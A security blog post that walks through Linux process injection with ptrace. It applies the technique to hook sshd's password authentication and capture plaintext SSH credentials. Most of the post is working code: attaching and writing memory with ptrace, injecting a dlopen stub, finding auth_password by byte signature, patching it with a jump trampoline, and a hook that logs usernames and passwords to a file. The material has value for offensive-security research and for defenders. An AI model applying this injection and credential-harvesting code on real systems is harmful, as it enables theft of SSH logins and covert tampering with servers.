Linux ptrace introduction AKA injecting into sshd for fun

blog.xpnsec.com/linux-process-injection-aka-injecting-into-sshd-for-fun

« Back to home

If there is one thing I've come to appreciate over this past few weeks, it's just how much support you are provided from the Win32 API. That being said, I wanted to tackle some Linux process injection, with the aim of loading a shared object into another process address space without having to resort to LD_PRELOAD, or stopping the process.

The goal I set myself was quite simple, could I recover plain text credentials from the sshd process using ptrace. Granted, this is a bit of an arbitrary goal, as there are many other ways to achieve the same result much more effectively (and with much less chance of SEGV), but I thought it would be cool to see this in action.

What is Ptrace

For anyone who has looked at process injection on Windows, you will probably be familiar with the VirtualAllocEx(), WriteProcessMemory(), ReadProcessMemory(), and CreateRemoteThread() suite of calls. These are the common set of API methods used to allocate and execute a thread in another process. In the Linux world, the kernel exposes ptrace, which offers debuggers the ability to interfere with a running process.

Ptrace offers a number of useful operations for debugging, including:

- PTRACE_ATTACH - Allows one process to attach itself to another for debugging, pausing the remote process.
- PTRACE_PEEKTEXT - Allows the reading of memory from another process address space.
- PTRACE_POKETEXT - Allows the writing of memory to another process address space.
- PTRACE_GETREGS - Reads the current set of processor registers from a process.
- PTRACE_SETREGS - Writes to the current set of processor registers of a process.
- PTRACE_CONT - Resumes the execution of an attached process.

Whilst this isn't an exhaustive list of ptrace functionality, the difficulty I found coming from a Win32 background was the lack of supporting functions. For example, in Windows you can allocate memory in a process via VirtualAllocEx, in which you are provided with a pointer to a freshly allocated space to write your warez. In ptrace however, this doesn't appear to exist, which means you have to improvise when wanting to do something like inject code into another process.

That being said, let's walk through how we can achieve control over another process using ptrace.

Ptrace Concepts

When beginning a typical session, the first thing that we want to do is attach to the process that we will be targeting. To do this, we call ptrace with the PTRACE_ATTACH parameter:

```
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
```

This call is pretty straight forward, it takes the PID of the process we want to target. When called, a SIGSTOP is sent, resulting in the process pausing its execution.

Once attached, we will need to take a backup of the current state of the processor registers before we make any modifications. This will allow us to resume execution at a later stage:

```
struct user_regs_struct oldregs;
ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
```

Next, we need to find a place within the process where we can write our injected code. The easiest way to do this is to parse the "maps" file located in procfs for the target. For example, the "/proc/PID/maps" file for a running sshd process on Ubuntu looks like this:

```
7f048f52f000-7f048f539000 r-xp 00000000 08:01 2030                       /lib/x86_64-linux-gnu/libnss_files-2.19.so
7f048f539000-7f048f738000 ---p 0000a000 08:01 2030                       /lib/x86_64-linux-gnu/libnss_files-2.19.so
7f048f738000-7f048f739000 r--p 00009000 08:01 2030                       /lib/x86_64-linux-gnu/libnss_files-2.19.so
7f048f739000-7f048f73a000 rw-p 0000a000 08:01 2030                       /lib/x86_64-linux-gnu/libnss_files-2.19.so
7f048f73a000-7f048f745000 r-xp 00000000 08:01 1920                       /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7f048f745000-7f048f944000 ---p 0000b000 08:01 1920                       /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7f048f944000-7f048f945000 r--p 0000a000 08:01 1920                       /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7f048f945000-7f048f946000 rw-p 0000b000 08:01 1920                       /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7f048f946000-7f048f94f000 r-xp 00000000 08:01 2103                       /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7f048f94f000-7f048fb4e000 ---p 00009000 08:01 2103                       /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7f048fb4e000-7f048fb4f000 r--p 00008000 08:01 2103                       /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7f048fb4f000-7f048fb50000 rw-p 00009000 08:01 2103                       /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7f048fb50000-7f048fb67000 r-xp 00000000 08:01 1938                       /lib/x86_64-linux-gnu/libresolv-2.19.so
7f048fb67000-7f048fd67000 ---p 00017000 08:01 1938                       /lib/x86_64-linux-gnu/libresolv-2.19.so
7f048fd67000-7f048fd68000 r--p 00017000 08:01 1938                       /lib/x86_64-linux-gnu/libresolv-2.19.so
7f048fd68000-7f048fd69000 rw-p 00018000 08:01 1938                       /lib/x86_64-linux-gnu/libresolv-2.19.so
```

We need to search for a section which is mapped with execute permission (likely this will be "r-xp"). Once found, similar to the process registers, we will need to backup the existing data from the target section to allow us to recover at a later stage. We do this using PTRACE_PEEKTEXT:

```
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
```

When called in this way, 1 word of data (32 bits on x86, or 64 bits on x86-64 Linux) will be read from the address provided, meaning repeated calls must be made with an incrementing address parameter.

Please note: Linux also provides process_vm_readv() and process_vm_writev() for reading/writing to process memory. For the purpose of this tutorial I will stick with ptrace, however if you are looking to implement something yourself, it is worth checking these calls out.

Now that we have backed up the parts of the target process we are about to clobber, we can start overwriting our chosen executable section using PTRACE_POKETEXT:

```
ptrace(PTRACE_POKETEXT, pid, addr, word);
```

Similar to PTRACE_PEEKTEXT, this call deals with 1 word of data at a time, and accepts an address to write to. And similar to PTRACE_PEEKTEXT, multiple calls are required to achieve anything more that a 1 word write.

Once we have written our code, we will want to update the processes instruction pointer register to point to our injected code. To keep us from overwriting data in memory (such as data held on the stack), we will use the same registers that we backed up earlier, updating only where needed:

```
struct user_regs_struct regs;
memcpy(&regs, &oldregs, sizeof(struct user_regs_struct));

// Update RIP to point to our injected code
regs.rip = addr_of_injected_code;
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
```

Finally, we can use PTRACE_CONT to resume execution:

```
ptrace(PTRACE_CONT, pid, NULL, NULL);
```

But how do we know when our injected code has finished executing? We use a software interrupt, such as a "int 0x3" instruction, which will generate a SIGTRAP. We listen for this signal using a waitpid() call as follows:

```
waitpid(pid, &status, WUNTRACED);
```

waitpid() will block until the process corresponding to the provided PID pauses execution, and writes the reason to the "status" variable. Thankfully there are a number of macro's available which make life a bit easier in helping us understand the reason for the pause.

To tell if control has been paused because of a SIGTRAP (caused by our "int 0x03" instruction), we can use:

```
waitpid(pid, &status, WUNTRACED);
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
    printf("SIGTRAP received\n");
}
```

At this point, we know that our injected code has executed, and just need to restore the process back to its original state. This is simply a case of recovering the original registers:

```
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
```

Writing the original memory back to the process:

```
ptrace(PTRACE_POKETEXT, pid, addr, word);
```

And detaching from the process to resume execution:

```
ptrace(PTRACE_DETACH, pid, NULL, NULL);
```

OK, enough of the theory, lets move onto something a bit more interesting.

Injecting into SSH

I should probably warn you that there is of course the possibility of crashing sshd for other users, so be careful, and obviously please don't test this on a live system or a system you are remotely SSH'd into :D

Additionally, there are a number of better ways to achieve a similar effect, I illustrate this technique purely as a fun way to show ptrace's power (and it beats injecting a Hello World ;)

If you would like to follow along, I would suggest taking a look at the final code here.

So one thing that I wanted to do was to recover username and password combinations from a running sshd process when a user authenticates. Reviewing the sshd source code, we can see the following:

https://github.com/openssh/openssh-portable/blob/master/auth-passwd.c

```
/*
 * Tries to authenticate the user using password.  Returns true if
 * authentication succeeds.
 */
int
auth_password(Authctxt *authctxt, const char *password)
{
  ...
}
```

This looks like a nice place to hook and recover plain-text credentials when provided by the user.

Now, we want to find a signature of this function which will allow us to search for it in memory. To do this, I used my favourite disassembly tool, radare2, to disassemble SSH on my Vagrant box:

```
/ (fcn) sub.strlen_960 361
|           ; var int local_0h @ rbp-0x0
|           ; JMP XREF from 0x000247e9 (unk)
|           ; CALL XREF from 0x0001bf82 (unk)
|           ; CALL XREF from 0x0001c4af (sub.free_ff0)
|           ; CALL XREF from 0x00024863 (unk)
|           ; CALL XREF from 0x000276b5 (unk)
|           0x00012960      4155            push r13
|           0x00012962      4154            push r12
|           0x00012964      55              push rbp
|           0x00012965      4889f5          mov rbp, rsi
|           0x00012968      53              push rbx
|           0x00012969      4889fb          mov rbx, rdi
|           0x0001296c      4883ec08        sub rsp, 8
|           0x00012970      4c8b6730        mov r12, qword [rdi + 0x30]
|           0x00012974      448b6f0c        mov r13d, dword [rdi + 0xc]
|           0x00012978      4889f7          mov rdi, rsi
|           0x0001297b      e8e09fffff      call sym.imp.strlen
|           0x00012980      31d2            xor edx, edx
|           ;-- hit0_0:
|           ;-- hit1_0:
|           0x00012982      483d00040000    cmp rax, 0x400
|       ,=< 0x00012988      7771            ja 0x129fb
|       |   0x0001298a      418b7c2410      mov edi, dword [r12 + 0x10]
```

We need to find a set of bytes in the file which is unique to "auth_password" function. To do this, we use radare2's hex search to find a single matching signature:

It appears that the `xor rdx,rdx; cmp rax, 0x400;` instructions are unique to this function, returning only a single match in the ELF file, so we will use this as our signature.

```
Press <enter> to return to Visual mode.
:> /x 31d2483d00040000
Searching 8 bytes in [0x238-0x2c54e0]
hits: 1
0x00012980 hit6_0 31d2483d00040000
:>
```

As a side note... if you don't see this signature in your version of sshd, you may want to ensure your version is up to date, as this is actually protecting against a vulnerability fixed mid 2016.

Next we will need to inject our code into the sshd process.

Injecting a .so into sshd

To load our code into sshd, we are going to inject a very small stub, which will use dlopen() to load a shared library which will perform the hooking of "auth_password".

dlopen() is a dynamic linker call, which receives a path to a shared library as an argument, and loads the library into the calling process. This function is included within libdl.so, which is usually dynamically linked to your application during compile time.

Thankfully, in our case, libdl.so is already present in sshd, so all we need to do is to call dlopen() with our injected code. However, due to ASLR, it's very unlikely that dlopen() will be at the same address each time, so we must calculate its address within the sshd process.

To find the address of the function, we are going to first calculate the difference between libdl.so's base address to the dlopen() function. This can be done with the following:

```
unsigned long long libdlAddr, dlopenAddr;
libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY);
dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen");
printf("Offset: %llx\n", dlopenAddr - libdlAddr);
```

Once we have the offset, we can parse the "maps" file of sshd for libdl.so, and recover the base address:

```
7f0490a0d000-7f0490a10000 r-xp 00000000 08:01 1942                       /lib/x86_64-linux-gnu/libdl-2.19.so
7f0490a10000-7f0490c0f000 ---p 00003000 08:01 1942                       /lib/x86_64-linux-gnu/libdl-2.19.so
7f0490c0f000-7f0490c10000 r--p 00002000 08:01 1942                       /lib/x86_64-linux-gnu/libdl-2.19.so
7f0490c10000-7f0490c11000 rw-p 00003000 08:01 1942                       /lib/x86_64-linux-gnu/libdl-2.19.so
```

Having now found the base address of libdl.so within sshd (0x7f0490a0d000 in the map file above), we can add our calculated offset to this address and know where dlopen() will be when called by our injected code.

To pass this address across to our injected code, we will use a register which we will set using PTRACE_SETREGS.

We will also need to write the path to our shared library into the sshd process, which we will also pass via a register to our injected stub, for example:

```
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) {
  long word = 0;
  int i = 0;

  for (i=0; i < len; i+=sizeof(word), word=0) {
    memcpy(&word, data + i, sizeof(word));
    if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) {
      printf("[!] Error writing process memory\n");
      exit(1);
    }
  }
}

ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
```

By offloading as much as possible to the injecting process, and setting registers before calling our stub, we can keep our injected code very simple, for example:

```
// Update RIP to point to our code, which will be just after
// our injected library name string
regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN;

// Update RAX to point to dlopen()
regs.rax = (unsigned long long)dlopenAddr;

// Update RDI to point to our library name string
regs.rdi = (unsigned long long)freeaddr;

// Set RSI as RTLD_LAZY for the dlopen call
regs.rsi = 2;   // RTLD_LAZY

// Update the target process registers
ptrace(PTRACE_SETREGS, pid, NULL, &regs);
```

This means that our injected stub is simply:

```
; RSI set as value '2' (RTLD_LAZY)
; RDI set as char* to shared library path
; RAX contains the address of dlopen
call rax
int 0x03
```

Next, we need to create our shared library which will be loaded by our injected stub.

Before moving on, let's look at an important concept that will be used when injecting a shared library... shared object constructors.

Shared Object Constructor

A shared library supports the ability to execute code upon load, by using the __attribute__((constructor)) decorator. For example:

```
#include <stdio.h>

void __attribute__((constructor)) test(void) {
    printf("Library loaded on dlopen()\n");
}
```

We can compile this shared object using the following GCC command:

```
gcc -o test.so --shared -fPIC test.c
```

And test using dlopen():

```
dlopen("./test.so", RTLD_LAZY);
```

When the library is loaded, we see that our constructor is also called:

We will be using this functionality to make our life a bit easier when it comes to injecting our shared object into another process space.

```
vagrant@vagrant-ubuntu-trusty-64:~$ ./test2
Library loaded on dlopen()
vagrant@vagrant-ubuntu-trusty-64:~$
```

sshd Shared Object

Now we have the ability to inject our shared library, we need to craft our code to patch the auth_password() function during runtime.

When our shared library is loaded, we can find the base address of sshd via the "/proc/self/maps" procfs file. We are looking for the "r-x" protected section of sshd within this file, which will give us the start and end address we will need to search for our auth_password() signature:

```
fd = fopen("/proc/self/maps", "r");
while(fgets(buffer, sizeof(buffer), fd)) {
    if (strstr(buffer, "/sshd") && strstr(buffer, "r-x")) {
        ptr = strtoull(buffer, NULL, 16);
        end = strtoull(strstr(buffer, "-")+1, NULL, 16);
        break;
    }
}
```

Once we have our target memory range, we want to hunt for our signature:

```
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00";
while(ptr < end) {
    // ptr[0] == search[0] added to increase performance during searching
    // no point calling memcmp if the first byte doesn't match our signature.
    if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) {
        break;
    }
    ptr++;
}
```

And once we have our match, we need to use mprotect() to update the memory protection. This is because the section is mapped with only read and execute permissions, and we need write permissions to overwrite the code during runtime:

```
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ |
PROT_WRITE | PROT_EXEC)
```

Now that we have permission to write to this segment, we will add our hook to the start of the function. To save writing the bulk of our hook in assembly, we will use a small trampoline, which will look like this:

```
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
```

This translates to the following:

```
mov rax, 0x4142434445464748
jmp rax
```

Of course 0x4142434445464748 is an invalid address which we will replace with the value of our hook function:

```
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
```

Then we can simply add our trampoline to the sshd function. To keep the injection nice and clean, I chose to add this to the beginning of the function:

```
// Step back to the start of the function, which is 32 bytes
// before our signature
ptr -= 32;
memcpy(ptr, jmphook, sizeof(jmphook));
```

Finally, we have our hook function which takes care of logging the passed credentials. We must make sure that we store a copy of the registers before the hook, and restore the registers before returning to the original code:

```
// Remember the prolog: push rbp; mov rbp, rsp;
// that takes place when entering this function
void passwd_hook(void *arg1, char *password) {
    // We want to store our registers for later
    asm("push %rsi\n"
        "push %rdi\n"
        "push %rax\n"
        "push %rbx\n"
        "push %rcx\n"
        "push %rdx\n"
        "push %r8\n"
        "push %r9\n"
        "push %r10\n"
        "push %r11\n"
        "push %r12\n"
        "push %rbp\n"
        "push %rsp\n"
        );

    // Our code here, is used to store the username and password
    char buffer[1024];
    int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND);

    // Note: The magic offset of "arg1 + 32" contains a pointer to
    // the username from the passed argument.
    snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 +
32), password);
    write(log, buffer, strlen(buffer));
    close(log);

    asm("pop %rsp\n"
        "pop %rbp\n"
        "pop %r12\n"
        "pop %r11\n"
        "pop %r10\n"
        "pop %r9\n"
        "pop %r8\n"
        "pop %rdx\n"
        "pop %rcx\n"
        "pop %rbx\n"
        "pop %rax\n"
        "pop %rdi\n"
        "pop %rsi\n"
        );

    // Recover from the function prologue
    asm("mov %rbp, %rsp\n"
        "pop %rbp\n"
       );
    ...
```

And that's it... well, kind of...

Unfortunately, even after all that, we still have a little bit left to do. If you jumped ahead and injected your code into the sshd process, you will probably notice that credentials are not be available to you. This is due to the way in which sshd spawns a child process for each new connection. It is this child process which actually handles the authentication of the user, and this child process that we need to hook.

To make sure we are targeting the child processes of sshd, I settled on a method of scanning the procfs filesystem for the "stats" file holding a PPID of the sshd process. When found, our injector will be run against this new process.

There is actually a benefit of doing our injection in this way. If the worst does happen and your injected code causes a SIGSEGV, you are only killing the child process, and not the main sshd daemon parent process. It's not much of a consolation, but it makes debugging a whole lot easier :D

Injector in action

Hopefully this journey gives you enough information to start tackling ptrace yourself. If you have any further comments or questions, you can find me hanging out in the usual places.

I would like to pass my thanks to the following people and sites, which helped me to understand ptrace beyond the wall of text that is the ptrace man pages:

- Gaffe23's de-facto standard linux inject toolset - https://github.com/gaffe23/linux-inject
- EvilSocket's awesome write-up on process injection - https://www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm/